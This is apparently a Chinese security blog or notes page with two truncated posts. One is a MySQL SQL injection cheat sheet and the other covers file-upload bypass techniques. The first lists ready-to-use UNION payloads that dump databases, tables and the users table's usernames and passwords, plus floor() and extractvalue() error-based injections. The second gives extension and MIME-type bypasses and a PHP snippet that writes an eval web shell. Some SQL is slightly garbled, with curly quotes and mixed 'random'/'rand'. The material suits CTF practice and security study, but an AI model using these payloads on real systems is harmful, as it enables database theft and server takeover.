SQL注入


SQL注入

SQL注入之Mysql注入姿势及绕过总结 - 先知社区 (aliyun.com)[盲注去这]

联合查询

很多时候联合查询也会和其他的几种查询方式一起使用。

联合查询用到的SQL语法知识

UNION可以将前后两个查询语句的结果拼接到一起,但是会自动去重。

UNION ALL功能相同,但是会显示所有数据,不会去重。

具有类似功能的还有JOIN https://blog.csdn.net/julielele/article/details/82023577 但是是一个对库表等进行连接的语句,我们在后续的绕过中会提到利用它来进行无列名注入。

注入流程
  1. 判断是否存在注入,注入是字符型还是数字型,闭合情况,绕过方式

    ?id=1' 
    ?id=1" 
    ?id=1') 
    ?id=1") 
    ?id=1' or 1#
    ?id=1' or 0#
    ?id=1' or 1=1#
    ?id=1' and 1=2#
    ?id=1' and sleep(5)#
    ?id=1' and 1=2 or ' 
    ?id=1\
    
  2. 猜测SQL查询语句中的字段数

    • 使用 order/group by 语句,通过往后边拼接数字指导页面报错,可确定字段数量。
    1' order by 1#
    1' order by 2#
    1' order by 3#
    1 order by 1
    1 order by 2
    1 order by 3
    
    • 使用 union select 联合查询,不断在 union select 后面加数字,直到不报错,即可确定字段数量。
    1' union select 1#
    1' union select 1,2#
    1' union select 1,2,3#
    1 union select 1#
    1 union select 1,2#
    1 union select 1,2,3#
    
  3. 确定显示数据的字段位置 使用 union select 1,2,3,4,… 根据回显的字段数,判断回显数据的字段位置。

    -1' union select 1#
    -1' union select 1,2#
    -1' union select 1,2,3#
    -1 union select 1#
    -1 union select 1,2#
    -1 union select 1,2,3#
    

    注意:

    • 若确定页面有回显,但是页面中并没有我们定义的特殊标记数字出现,可能是页面进行的是单行数据输出,我们让前边的 select 查询条件返回结果为空即可。
    • ⼀定要拼接够足够的字段数,否则SQL语句报错。
  4. 在回显数据的字段位置使用 union select 将我们所需要的数据查询出来即可。包括但不限于:

    • 获取当前数据库名
    -1' union select 1,2,database()--+
    
    • 获取当前数据库的表名
    -1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+
    
    -1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3--+
    
    • 获取表中的字段名
    -1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
    
    -1' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users'),3--+
    
    • 获取数据
    -1' union select 1,2,group_concat(id,0x7c,username,0x7c,password) from users--+
    
    -1' union select 1,(select group_concat(id,0x7c,username,0x7c,password) from users),3--+
    

一般情况下就是这样的一个顺序,确定联合查询的字段数->确定联合查询回显位置->爆库->爆表->爆字段->爆数据

报错注入:

报错注入用到的SQL语法知识

大体的思路就是利用报错回显,同时我们的查询指令或者SQL函数会被执行,报错的过程可能会出现在查询或者插入甚至删除的过程中。

0x00 floor()(8.x>mysql>5.0)[双查询报错注入]

函数返回小于或等于指定值(value)的最小整数,取整

通过floor报错的方法来爆数据的本质是group by语句的报错。group by语句报错的原因是floor(random(0)*2)的不确定性,即可能为0也可能为1

group by key的原理是循环读取数据的每一行,将结果保存于临时表中。读取每一行的key时,如果key存在于临时表中,则不在临时表中更新临时表中的数据;如果该key不存在于临时表中,则在临时表中插入key所在行的数据。

group by floor(random(0)*2)出错的原因是key是个随机数,检测临时表中key是否存在时计算了一下floor(random(0)*2)可能为0,如果此时临时表只有key为1的行不存在key为0的行,那么数据库要将该条记录插入临时表,由于是随机数,插时又要计算一下随机值,此时floor(random(0)*2)结果可能为1,就会导致插入时冲突而报错。即检测时和插入时两次计算了随机数的值。

?id=0’ union select 1,2,3 from(select count(*),concat((select concat(version(),’-’,database(),’-’,user()) limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a --+
/*拆解出来就是下面的语句*/
concat((select concat(version(),’-’,database(),’-’,user()) limit 0,1),floor(rand(0)*2))x

可以看到这里实际上不光使用了报错注入还是用了刚刚的联合查询,同时还是一个双查询的报错注入,当在一个聚合函数,比如count()函数后面如果使用group by分组语句的话,就可能会把查询的一部分以错误的形式显示出来。但是要多次测试才可以得到报错

大体思路就是当在一个聚合函数,比如count函数后面如果使用分组语句就会把查询的一部分以错误的形式显示出来,但是因为随机数要测试多次才能得到报错,上面报错注入函数中的第一个Floor()就是这种情况。

0x01 extractvalue() [Writeup_2023_0xGame_Week2 - rdj’s Blog (notnad3.github.io)](https://notnad3.github.io/2023/10/01/[Week 2] ez_upload/)【例题,sql注入】

对XML文档进行查询的函数

第二个参数 xml中的位置是可操作的地方,xml文档中查找字符位置是用 /xxx/xxx/xxx/…这种格式,如果我们写入其他格式,就会报错,并且会返回我们写入的非法格式内容,而这个非法的内容就是我们想要查询的内容。

and (extractvalue(‘anything’,concat(‘#’,substring(hex((select database())),1,5))))

其实就是相当于我们熟悉的HTML文件中用

标签查找元素一样

语法:extractvalue(目标xml文档,xml路径)

第二个参数 xml中的位置是可操作的地方,xml文档中查找字符位置是用 /xxx/xxx/xxx/…这种格式,如果我们写入其他格式,就会报错,并且会返回我们写入的非法格式内容,而这个非法的内容就是我们想要查询的内容。

正常查询 第二个参数的位置格式 为 /xxx/xx/xx/xx ,即使查询不到也不会报错

select username from security.user where id=1 and (extractvalue(‘anything’,’/x/xx’))

Read more ⟶

文件上传


前端绕过

正常上传文件,捉取数据包修改(bp抓包改后缀)

后端绕过

服务器端检测的绕过

函数特性

move_uploaded_file函数会自动去除文件名末尾的点 和 /.

fopen函数特性

<?php
$filename='1.php/.';
$content="<?php eval($_POST[1]);?>";
$f = fopen($filename, 'w');
    fwrite($f, $content);
    fclose($f);    
?> 
#会在当前目录生成1.php,文件名为1.php.也可以
————————————————
其它

后缀名大小写

后缀名双写

尝试php3 phtml php3457(linux+apache+php5.6)等后缀

检测MIME类型的,捉包改MIME类型

服务端检测(MINE类型检测) #

MIME (Multipurpose Internet Mail Extensions) 是描述消息内容类型的因特网标准。

服务器代码判断$_FILES[”file“][“type”]是不是图片格式(image/jpegimage/pngimage/gif),如果不是,则不允许上传该文件。

绕过方法:

抓包后更改Content-Type为允许的类型绕过该代码限制,比如将php文件的Content-Type:application/octet-stream修改为image/jpegimage/pngimage/gif等就可以

常见MIMETYPE

audio/mpeg -> .mp3 application/msword -> .doc application/octet-stream -> .exe application/pdf -> .pdf application/x-javascript -> .js application/x-rar -> .rar application/zip -> .zip image/gif -> .gif image/jpeg -> .jpg / .jpeg image/png -> .png text/plain -> .txt text/html -> .html video/mp4 -> .mp4

Read more ⟶